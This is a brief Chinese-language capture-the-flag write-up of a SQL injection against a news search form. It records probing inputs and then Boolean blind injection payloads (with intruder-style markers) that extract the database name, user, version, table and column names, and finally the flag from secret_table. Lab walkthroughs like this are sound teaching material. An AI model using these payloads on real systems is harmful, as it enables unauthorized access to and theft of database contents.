猜测SQL语句为’SELECT title,context FROM news WHERE title LIKE’.$POST[‘search’]
尝试堆叠注入,‘;show databases;’,没有返回有用内容,无堆叠注入漏洞
确认注入存在
访问hello,返回一条记录
访问hello’,多了一个单引号,系统崩溃,所以单引号没被过滤
访问hello’ and 1=1#,返回内容为空,内容异常
访问’ or 1=1#,返回所有记录
访问flag,返回内容为空
访问flag’ or 1=1#,返回所有记录
…
最后发现只要出现星号和反单引号就会崩溃系统,应该是被过滤掉了
所以可以用or语句进行Boolean盲注
flag’ or ord(mid(database(),$1$,1))=§1§,数据库名为news
flag’ or ord(mid(user(),$1$,1))=§1§,用户名为user@10.42.145.23
flag’ or ord(mid((select version()),§1§,1))=§1§,数据库版本为5.5.61
flag’ or ord(mid((select table_name from information_schema.tables where TABLE_SCHEMA=database() limit §1§,1),§1§,1))=§1§ #,当前数据库中的表有secret_table
flag’ or ord(mid((SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR “,”) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = ‘news’ ),§1§,1))=§1§ #,news数据库中有id,titl,content,id,fn4g字段
flag’ or ord(mid((SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR “,”) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = ‘news’ and TABLE_NAME=’secret_table’),§1§,1))=§1§ #,secret表中的字段有id,fl4g
flag’ or ord(mid((SELECT fl4g FROM secret_table where id=1),§1§,1))=§1§ #,爆出flag,QCTF{sq1_inJec7ion_ezzz}